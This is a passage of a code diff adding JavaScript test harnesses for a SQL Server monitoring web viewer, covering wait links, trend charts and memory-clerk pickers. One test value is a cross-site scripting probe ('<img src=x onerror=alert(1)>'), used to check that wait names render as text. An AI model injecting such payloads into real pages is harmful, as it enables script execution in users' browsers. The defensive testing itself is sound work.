+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let inFlight = 0;
+let maxInFlight = 0;
+let aborted = 0;
+let hold = null; /* when set, get_wait_trend reads wait for it (a promise) or for their signal's abort */
+let answer = () => ({ status: 200, body: {} });
+const signals = [];
+globalThis.fetch = async (url, init) => {
+  fetches.push(String(url));
+  signals.push(init && init.signal ? true : false);
+  if (hold && String(url).includes("get_wait_trend")) {
+    inFlight++;
+    maxInFlight = Math.max(maxInFlight, inFlight);
+    let live = true;
+    const done = () => { if (live) { live = false; inFlight--; } };
+    try {
+      await new Promise((resolve, reject) => {
+        const signal = init && init.signal;
+        const onAbort = () => {
+          aborted++;
+          done();
+          const e = new Error("aborted");
+          e.name = "AbortError";
+          reject(e);
+        };
+        if (signal && signal.aborted) return onAbort();
+        if (signal) signal.addEventListener("abort", onAbort);
+        hold.then(resolve);
+      });
+    } finally {
+      done();
+    }
+  }
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "server-trends-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.copyFileSync(path.join(scratch, "charts.js"), path.join(scratch, "charts-real.js"));
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { zoomableLineChart as realZoomable } from "./charts-real.js";\n' +
+      'export * from "./charts-real.js";\n' +
+      "export const chartCalls = [];\n" +
+      "export function zoomableLineChart(spec, id, scope) {\n" +
+      "  chartCalls.push({ spec, id, scope });\n" +
+      "  return realZoomable(spec, id, scope);\n" +
+      "}\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    charts: await load("charts.js"),
+    picker: await load("multi-picker.js"),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const data = (b) => ({ status: 200, body: b });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+const ago = (m) => new Date(Date.now() - m * 60000).toISOString().slice(0, 19);
+const CLERKS = ["MEMORYCLERK_SQLBUFFERPOOL", "CACHESTORE_SQLCP", "CACHESTORE_OBJCP", "OBJECTSTORE_LOCK_MANAGER", "MEMORYCLERK_SQLQERESERVATIONS", "USERSTORE_TOKENPERM", "MEMORYCLERK_XE"];
+const pts = (f) => [{ time: ago(10), ...f(1) }, { time: ago(5), ...f(2) }];
+let mode = "data";
+let missing = null;
+answer = (url) => {
+  const t = tool(url);
+  if (t === "get_memory_clerks") return mode === "noclerks" ? data({ status: "empty", message: "No snapshot." }) : data({ server: "SRV1", clerks: CLERKS.map((c, i) => ({ clerk_type: c, memory_mb: 100 - i })) });
+  if (t === "get_file_io_trend") {
+    if (mode === "ioempty") return data({ status: "empty", message: "No file I/O recorded." });
+    const f = (name, r, w) => [{ time: ago(10), database_name: name, file_type: "ROWS", file_name: null, avg_read_latency_ms: r, avg_write_latency_ms: w }, { time: ago(5), database_name: name, file_type: "ROWS", file_name: null, avg_read_latency_ms: r + 1, avg_write_latency_ms: w == null ? null : w + 1 }];
+    const trend = mode === "ionowrite" ? [...f("db_a", 5, null)] : [...f("db_a", 5, 20), ...f("db_b", 9, 3)];
+    return data({ server: "SRV1", trend, discontinuities: mode === "iogap" ? [{ at: ago(7), reason: "restart", detail: "uptime reset" }] : [] });
+  }
+  if (t !== "get_server_trend") return data({});
+  const metric = url.searchParams.get("metric");
+  if (mode === "allMissing") return data({ status: "empty", message: "None of the named clerk types were recorded. The window does hold other clerk types: heaviest_clerk_types lists the heaviest of them.", hints: { missing_clerk_types: (url.searchParams.get("clerk_types") || "").split(",").filter(Boolean), heaviest_clerk_types: ["CLERK_ALPHA", "CLERK_BETA"] } });
+  if (mode === "empty") return data({ status: "empty", message: "No " + metric + " recorded in the last 24 hour(s)." });
+  const discontinuities = [{ at: ago(7), reason: "restart", detail: "uptime reset" }];
+  if (metric === "cpu_scheduler") return data({ server: "SRV1", metric, trend: pts((k) => ({ runnable_tasks: k, blocked_tasks: 0, queued_requests: k })), aggregate_note: "Each point averages.", discontinuities });
+  if (metric === "plan_cache") return data({ server: "SRV1", metric, trend: pts((k) => ({ single_use_mb: 10 * k, multi_use_mb: 20 * k })), discontinuities: [] });
+  const named = (url.searchParams.get("clerk_types") || "").split(",").filter(Boolean);
+  const present = named.filter((c) => c !== missing);
+  const body = { server: "SRV1", metric, series: present.map((c) => ({ clerk_type: c, trend: pts((k) => ({ memory_mb: 50 * k })) })), discontinuities };
+  if (missing && named.includes(missing)) body.missing_clerk_types = [missing];
+  return data(body);
+};
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 100; i++) await new Promise((r) => setTimeout(r, 0)); };
+const ctx = { hours: 24, label: "last 24 hours", signal: new AbortController().signal };
+const kinds = { fileio: () => modules.tabs.fileIoPanel("SRV1", ctx),  cpu: () => modules.tabs.serverTrendPanel("SRV1", ctx, "cpu_scheduler"), plan: (s) => modules.tabs.serverTrendPanel(s || "SRV1", ctx, "plan_cache"), clerks: (s) => modules.tabs.memoryClerksTrendPanel(s || "SRV1", ctx) };
+async function build(kind, server) {
+  const root = new FakeNode("main");
+  modules.util.mount(root, kinds[kind](server));
+  await settle();
+  return root;
+}
+const boxes = (root) => all(root, (n) => n.tag === "input" && n.attrs.type === "checkbox");
+const checkedNames = (root) => boxes(root).filter((b) => b.checked).map((b) => b.attrs["aria-label"]);
+const toggle = async (box, on) => { box.checked = on; box.listeners.change.forEach((l) => l({})); await settle(); };
+const trendReads = () => fetches.filter((f) => f.includes("get_server_trend")).map((f) => Object.fromEntries(new URL(f, "http://x").searchParams));
+const lastChart = () => modules.charts.chartCalls[modules.charts.chartCalls.length - 1] || null;
+const chartInfo = () => {
+  const c = lastChart();
+  return c && { labels: c.spec.series.map((s) => s.label), points: c.spec.points.length, unit: c.spec.unit, id: c.id };
+};
+const texts = (root, cls) => all(root, (n) => String(n.className).includes(cls)).map((n) => n.textContent);
+
+const allCharts = () => modules.charts.chartCalls.map((c) => ({ id: c.id, labels: c.spec.series.map((x) => x.label), unit: c.spec.unit, scope: c.scope, points: c.spec.points.length }));
+const scenarios = {
+  fileio: async () => {
+    const root = await build("fileio");
+    return { reads: fetches.filter((f) => f.includes("get_file_io_trend")), charts: allCharts(), notices: texts(root, "notice"), empties: texts(root, "strip empty") };
+  },
+  fileioGap: async () => {
+    mode = "iogap";
+    const root = await build("fileio");
+    return { charts: allCharts(), notices: texts(root, "notice"), empties: texts(root, "strip empty") };
+  },
+  fileioNoWrites: async () => {
+    mode = "ionowrite";
+    const root = await build("fileio");
+    return { charts: allCharts(), notices: texts(root, "notice"), empties: texts(root, "strip empty") };
+  },
+  fileioEmpty: async () => {
+    mode = "ioempty";
+    const root = await build("fileio");
+    return { charts: allCharts(), empties: texts(root, "strip empty") };
+  },
+
+  cpu: async () => {
+    const root = await build("cpu");
+    return { reads: trendReads(), chart: chartInfo(), notices: texts(root, "notice"), notes: texts(root, "mp-metric-note"), signals };
+  },
+  plan: async () => {
+    const root = await build("plan");
+    return { reads: trendReads(), chart: chartInfo(), notices: texts(root, "notice") };
+  },
+  clerks: async () => {
+    const root = await build("clerks");
+    return { reads: trendReads(), snapshotReads: fetches.filter((f) => f.includes("get_memory_clerks")), checked: checkedNames(root), listed: boxes(root).length, chart: chartInfo(), notices: texts(root, "notice") };
+  },
+  survives: async () => {
+    const first = await build("clerks");
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "CACHESTORE_SQLCP"), false);
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "MEMORYCLERK_XE"), true);
+    const rebuilt = await build("clerks");
+    const other = await build("clerks", "SRV2");
+    return { rebuilt: checkedNames(rebuilt), other: checkedNames(other), lastRead: trendReads()[trendReads().length - 2], chart: chartInfo() };
+  },
+  missing: async () => {
+    missing = "CACHESTORE_OBJCP";
+    const root = await build("clerks");
+    return { notices: texts(root, "notice"), chart: chartInfo() };
+  },
+  allMissing: async () => {
+    mode = "allMissing";
+    const root = await build("clerks");
+    return { notices: texts(root, "notice"), empties: texts(root, "strip empty"), notes: texts(root, "mp-metric-note"), chart: chartInfo() };
+  },
+  clerkPicker: async () => {
+    const root = await build("clerks");
+    const buttons = () => all(root, (n) => n.tag === "button").map((b) => b.textContent);
+    const before = checkedNames(root);
+    for (const b of boxes(root).filter((x) => x.checked)) await toggle(b, false);
+    const cleared = checkedNames(root);
+    const top = all(root, (n) => n.tag === "button" && n.textContent === "Top clerks")[0];
+    if (top) { top.listeners.click.forEach((l) => l({})); await settle(); }
+    const afterTop = checkedNames(root);
+    const search = all(root, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    search.value = "zzz-no-such";
+    search.listeners.input.forEach((l) => l({}));
+    await settle();
+    return { buttons: buttons(), before, cleared, afterTop, noMatch: texts(root, "mp-none") };
+  },
+  emptyCpu: async () => {
+    mode = "empty";
+    const root = await build("cpu");
+    return { chart: chartInfo(), empties: texts(root, "strip empty") };
+  },
+  emptyClerks: async () => {
+    mode = "empty";
+    const root = await build("clerks");
+    return { chart: chartInfo(), empties: texts(root, "strip empty") };
+  },
+  noClerks: async () => {
+    mode = "noclerks";
+    const root = await build("clerks");
+    return { reads: trendReads(), empties: texts(root, "strip empty") };
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/Darling.Tests/web-wait-queries-link-harness.mjs b/Darling/Darling.Tests/web-wait-queries-link-harness.mjs
new file mode 100644
index 0000000000..21fece6835
--- /dev/null
+++ b/Darling/Darling.Tests/web-wait-queries-link-harness.mjs
@@ -0,0 +1,329 @@
+/* Runs the web viewer's wait links (#5235) against a scripted /api/read: the Wait cell of the Wait Stats, Waiting Tasks and
+   Significant Waits grids, and the Active Queries panel a click opens, filtered to that wait. The shipped server-tabs.js,
+   panels.js, util.js, charts.js and multi-picker.js run as they are; `fetch`, the DOM, the page's hash and pages/server.js
+   (which records the range it is asked to apply) are stand-ins. WebWaitQueriesLinkBehaviourTests starts it as
+       node web-wait-queries-link-harness.mjs <path to wwwroot/js>
+   and reads the last line of its output, one JSON object. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  get lastChild() {
+    return this.children[this.children.length - 1] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  insertBefore(child, ref) {
+    const i = ref ? this.children.indexOf(ref) : -1;
+    if (i < 0) this.children.push(child);
+    else this.children.splice(i, 0, child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {}
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  addEventListener() {},
+  removeEventListener() {},
+  querySelectorAll: () => [],
+};
+globalThis.window = globalThis;
+
+/* The page's hash: setting a NEW value fires hashchange a task later; setting the value it holds fires nothing. */
+let hashValue = "#/server/A/waits";
+const hashListeners = [];
+let dispatched = 0;
+globalThis.location = {
+  get hash() {
+    return hashValue;
+  },
+  set hash(value) {
+    if (value === hashValue) return;
+    hashValue = value;
+    setTimeout(() => hashListeners.slice().forEach((l) => l.fn()), 0);
+  },
+};
+globalThis.addEventListener = (type, fn, options) => {
+  if (type === "hashchange") hashListeners.push({ fn, once: !!(options && options.once) });
+};
+globalThis.dispatchEvent = () => {
+  dispatched++;
+};
+
+const fetches = [];
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), "wait-queries-link-")));
+let util;
+let tabs;
+let stub;
+try {
+  /* The whole js tree first (#5279); the stand-in for pages/server.js is written AFTER the copy, so it replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "pages", "server.js"),
+    "export const calls = [];\n" +
+      "export function applyCustomRange(server, startMs, endMs, nowMs, { redraw = true } = {}) {\n" +
+      "  calls.push({ server, startMs, endMs, redraw });\n" +
+      "  return globalThis.__rangeError || null;\n" +
+      "}\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  util = await load("util.js");
+  tabs = await load(path.join("pages", "server-tabs.js"));
+  stub = await load(path.join("pages", "server.js"));
+} catch (e) {
+  fs.rmSync(scratch, { recursive: true, force: true });
+  throw e;
+}
+/* The copy stays until the run ends: a click loads pages/server.js (the stand-in) the first time it applies a range. */
+process.on("exit", () => fs.rmSync(scratch, { recursive: true, force: true }));
+
+const data = (b) => ({ status: 200, body: b });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => {
+  for (let i = 0; i < 60; i++) await new Promise((r) => setTimeout(r, 0));
+};
+const ctx = { hours: 24, label: "last 24 hours" };
+const MIN = 60000;
+const HALF = 30 * MIN;
+
+/* An instant two days back, to the second, as a naive-UTC string with more fractional digits than a Date holds. */
+const baseMs = Math.floor((Date.now() - 2 * 24 * 3600000) / 1000) * 1000;
+const iso = (ms) => new Date(ms).toISOString().slice(0, 19);
+const WAIT_MICRO = iso(baseMs) + ".123456";
+const SIG_SEVEN = iso(baseMs + 5 * MIN) + ".1234567";
+const MARKUP = "<img src=x onerror=alert(1)>";
+
+const taskRows = [
+  { collection_time: WAIT_MICRO, session_id: 51, wait_type: "LCK_M_X", wait_duration_ms: 10 },
+  { collection_time: iso(baseMs), session_id: 52, wait_type: "QDS_ASYNC_QUEUE", wait_duration_ms: 10 },
+  { collection_time: iso(baseMs), session_id: 53, wait_type: null, wait_duration_ms: 10 },
+  { collection_time: "not a time", session_id: 54, wait_type: "CXPACKET", wait_duration_ms: 10 },
+  { collection_time: iso(baseMs), session_id: 55, wait_type: MARKUP, wait_duration_ms: 10 },
+];
+const sigRows = [
+  { event_time: SIG_SEVEN, wait_type: "PAGEIOLATCH_SH", duration_ms: 600, signal_duration_ms: 1, session_id: 60 },
+  { event_time: iso(baseMs), wait_type: "QDS_PERSIST_TASK_MAIN_LOOP_SLEEP", duration_ms: 600, signal_duration_ms: 1, session_id: 61 },
+];
+const statRows = [
+  { wait_type: "WRITELOG", total_wait_time_ms: 5000, resource_wait_ms: 4000, total_signal_wait_ms: 1000, waiting_tasks: 9, signal_wait_pct: 20 },
+  { wait_type: "QDS_CLEANUP_STALE_QUERIES_TASK_MAIN_LOOP_SLEEP", total_wait_time_ms: 10, resource_wait_ms: 9, total_signal_wait_ms: 1, waiting_tasks: 1, signal_wait_pct: 10 },
+];
+let activeAnswer = () => data({ queries: [] });
+answer = (url) => {
+  const t = tool(url);
+  if (t === "get_waiting_tasks") return data({ tasks: taskRows });
+  if (t === "get_health_parser_significant_waits") return data({ waits: sigRows });
+  if (t === "get_wait_stats") return data({ server: "A", waits: statRows });
+  if (t === "get_active_queries") return activeAnswer(url);
+  return data({});
+};
+
+const panelOf = (root, title) =>
+  all(root, (n) => n.tag === "div" && String(n.className).includes("panel") && n.children[0] && n.children[0].tag === "h3" && n.children[0].children[0] && n.children[0].children[0].textContent === title)[0];
+const waitButtons = (panel) => all(panel, (n) => n.tag === "button" && String(n.className) === "wait-link");
+const click = async (node) => {
+  node.listeners.click.forEach((l) => l({}));
+  await settle();
+};
+const takeCalls = () => stub.calls.splice(0, stub.calls.length);
+const buildTab = async (id, server = "A") => {
+  const root = new FakeNode("main");
+  util.mount(root, tabs.findServerTab(id).build(server, ctx));
+  await settle();
+  return root;
+};
+const cellTexts = (panel, col) => {
+  /* The text of one column's cell in every body row, in row order. */
+  const table = all(panel, (n) => n.tag === "table")[0];
+  const heads = all(table, (n) => n.tag === "th");
+  const idx = heads.findIndex((h) => h.textContent.startsWith(col));
+  const body = all(table, (n) => n.tag === "tbody")[0] || table;
+  return all(body, (n) => n.tag === "tr").map((tr) => {
+    const tds = tr.children.filter((c) => c.tag === "td");
+    return tds[idx] ? tds[idx].textContent : null;
+  });
+};
+
+const out = {};
+const reset = () => {
+  util.setQueryWaitFilter("A", "");
+  takeCalls();
+  globalThis.__rangeError = null;
+  hashValue = "#/server/A/waits";
+};
+
+/* Waiting Tasks and Wait Stats, from the Wait Stats tab. */
+const waits = await buildTab("waits");
+const tasks = panelOf(waits, "Waiting Tasks");
+const stats = panelOf(waits, "Wait Stats");
+out.taskButtons = waitButtons(tasks).map((b) => b.textContent);
+out.taskWaitCells = cellTexts(tasks, "Wait");
+out.statButtons = waitButtons(stats).map((b) => b.textContent);
+out.rejectionsAfterBuild = rejections.length;
+
+reset();
+const lck = waitButtons(tasks).find((b) => b.textContent === "LCK_M_X");
+out.taskTitle = lck.attrs.title || null;
+await click(lck);
+out.taskCalls = takeCalls();
+out.taskFilter = util.queryWaitFilter("A");
+out.taskHash = hashValue;
+out.taskRowMs = baseMs + 0; /* the row's instant, to the millisecond: .123 of the second */
+out.taskRowFracMs = baseMs + 123;
+
+reset();
+const wrt = waitButtons(stats).find((b) => b.textContent === "WRITELOG");
+await click(wrt);
+out.statCalls = takeCalls();
+out.statFilter = util.queryWaitFilter("A");
+out.statHash = hashValue;
+
+/* The markup wait is a button whose label is the text, with no element inside. */
+const markup = waitButtons(tasks).find((b) => b.textContent === MARKUP);
+out.markupFound = !!markup;
+out.markupChildren = markup ? markup.children.length : -1;
+reset();
+await click(markup);
+out.markupFilter = util.queryWaitFilter("A");
+takeCalls();
+
+/* Significant Waits, from the Events tab. */
+const events = await buildTab("events");
+const sig = panelOf(events, "Significant Waits");
+out.sigButtons = waitButtons(sig).map((b) => b.textContent);
+out.sigWaitCells = cellTexts(sig, "Wait Type");
+reset();
+await click(waitButtons(sig)[0]);
+out.sigCalls = takeCalls();
+out.sigFilter = util.queryWaitFilter("A");
+out.sigHash = hashValue;
+out.sigRowFloorMs = baseMs + 5 * MIN + 123;
+
+/* A refused range sets no filter, does not route, and says why beside the button. */
+reset();
+globalThis.__rangeError = "The end cannot be in the future.";
+const refusedBtn = waitButtons(tasks).find((b) => b.textContent === "LCK_M_X");
+await click(refusedBtn);
+out.refusedFilter = util.queryWaitFilter("A");
+out.refusedHash = hashValue;
+out.refusedCalls = takeCalls().length;
+out.refusedNote = all(refusedBtn.parentNode || tasks, (n) => n.attrs && n.attrs.role === "status" && n.textContent !== "").map((n) => n.textContent);
+globalThis.__rangeError = null;
+
+/* The filtered Active Queries panel. */
+reset();
+const unfilteredRoot = await buildTab("queries");
+const unfilteredReads = fetches.filter((f) => f.includes("get_active_queries"));
+out.unfilteredQuery = unfilteredReads.length ? new URL(unfilteredReads[unfilteredReads.length - 1], "http://x").search : null;
+out.unfilteredStrips = all(unfilteredRoot, (n) => String(n.className).includes("wait-filter-strip")).length;
+const unfilteredPanel = panelOf(unfilteredRoot, "Active Queries");
+out.unfilteredHeadText = unfilteredPanel ? unfilteredPanel.children[0].textContent : null;
+
+fetches.length = 0;
+util.setQueryWaitFilter("A", "LCK_M_X");
+activeAnswer = () => data({ queries: [{ collection_time: iso(baseMs), session_id: 51, wait_type: "LCK_M_X", query_text: "select 1" }] });
+const filteredRoot = await buildTab("queries");
+const filteredReads = fetches.filter((f) => f.includes("get_active_queries"));
+out.filteredQuery = filteredReads.length ? new URL(filteredReads[filteredReads.length - 1], "http://x").search : null;
+const filteredPanel = panelOf(filteredRoot, "Active Queries");
+out.filteredHeadText = filteredPanel ? filteredPanel.children[0].textContent : null;
+out.filteredHeadChildOrder = filteredPanel ? filteredPanel.children.map((c) => c.tag + ":" + String(c.className).split(" ")[0]) : [];
+const strips = all(filteredRoot, (n) => String(n.className).includes("wait-filter-strip"));
+out.stripCount = strips.length;
+out.stripText = strips[0] ? strips[0].textContent : null;
+const showAll = strips[0] ? all(strips[0], (n) => n.tag === "button")[0] : null;
+out.showAllLabel = showAll ? showAll.textContent : null;
+dispatched = 0;
+await click(showAll);
+out.filterAfterShowAll = util.queryWaitFilter("A");
+out.dispatchedAfterShowAll = dispatched;
+out.hashAfterShowAll = hashValue;
+
+/* A filtered empty answer: the server's own envelope names the wait; with no envelope the panel's text does. */
+util.setQueryWaitFilter("A", "WRITELOG");
+activeAnswer = () => data({ status: "empty", message: "No active-query snapshots with wait_type 'WRITELOG' were collected in this window." });
+const emptyRoot = await buildTab("queries");
+out.emptyEnvelopeText = all(panelOf(emptyRoot, "Active Queries"), (n) => String(n.className).includes("strip empty")).map((n) => n.textContent);
+activeAnswer = () => data({ queries: [] });
+const emptyRoot2 = await buildTab("queries");
+out.emptyRowsText = all(panelOf(emptyRoot2, "Active Queries"), (n) => String(n.className).includes("strip empty")).map((n) => n.textContent);
+
+/* A markup wait on the strip and the subtitle stays text. */
+util.setQueryWaitFilter("A", MARKUP);
+const markupRoot = await buildTab("queries");
+const markupStrip = all(markupRoot, (n) => String(n.className).includes("wait-filter-strip"))[0];
+out.markupStripText = markupStrip ? markupStrip.textContent : null;
+out.markupStripSpanChildren = markupStrip ? markupStrip.children[0].children.length : -1;
+const markupPanel = panelOf(markupRoot, "Active Queries");
+out.markupSubtitle = markupPanel ? markupPanel.children[0].textContent : null;
+util.setQueryWaitFilter("A", "");
+
+out.rejections = rejections.slice(0, 3);
+/* ASCII only, so the reader sees the same characters whatever code page its pipe uses. */
+console.log(JSON.stringify(out).replace(/[\u0080-\uffff]/g, (c) => "\\u" + c.charCodeAt(0).toString(16).padStart(4, "0")));
diff --git a/Darling/Darling.Tests/web-waits-activity-trends-harness.mjs b/Darling/Darling.Tests/web-waits-activity-trends-harness.mjs
new file mode 100644
index 0000000000..794355db48
--- /dev/null
+++ b/Darling/Darling.Tests/web-waits-activity-trends-harness.mjs
@@ -0,0 +1,258 @@
+/* Runs the web server page's get_server_trend panels (namedTrendPanel, drawNamedTrends and sessionStatsTrendPanel in
+   wwwroot/js/pages/server-tabs.js, with multi-picker.js, util.js, panels.js and charts.js) against a scripted /api/read
+   answer and prints the reads they sent, the picker's state and the charts they drew, as one line of JSON.
+   WebWaitsActivityTrendsBehaviourTests starts it as
+       node web-waits-activity-trends-harness.mjs <path to wwwroot/js> <scenario>
+   charts.js is the shipped renderer behind a wrapper that records each chart's spec, id and scope. `fetch` and the DOM
+   are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let inFlight = 0;
+let maxInFlight = 0;
+let aborted = 0;
+let hold = null; /* when set, get_wait_trend reads wait for it (a promise) or for their signal's abort */
+let answer = () => ({ status: 200, body: {} });
+const signals = [];
+globalThis.fetch = async (url, init) => {
+  fetches.push(String(url));
+  signals.push(init && init.signal ? true : false);
+  if (hold && String(url).includes("get_wait_trend")) {
+    inFlight++;
+    maxInFlight = Math.max(maxInFlight, inFlight);
+    let live = true;
+    const done = () => { if (live) { live = false; inFlight--; } };
+    try {
+      await new Promise((resolve, reject) => {
+        const signal = init && init.signal;
+        const onAbort = () => {
+          aborted++;
+          done();
+          const e = new Error("aborted");
+          e.name = "AbortError";
+          reject(e);
+        };
+        if (signal && signal.aborted) return onAbort();
+        if (signal) signal.addEventListener("abort", onAbort);
+        hold.then(resolve);
+      });
+    } finally {
+      done();
+    }
+  }
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "server-trends-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.copyFileSync(path.join(scratch, "charts.js"), path.join(scratch, "charts-real.js"));
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { zoomableLineChart as realZoomable } from "./charts-real.js";\n' +
+      'export * from "./charts-real.js";\n' +
+      "export const chartCalls = [];\n" +
+      "export function zoomableLineChart(spec, id, scope) {\n" +
+      "  chartCalls.push({ spec, id, scope });\n" +
+      "  return realZoomable(spec, id, scope);\n" +
+      "}\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    charts: await load("charts.js"),
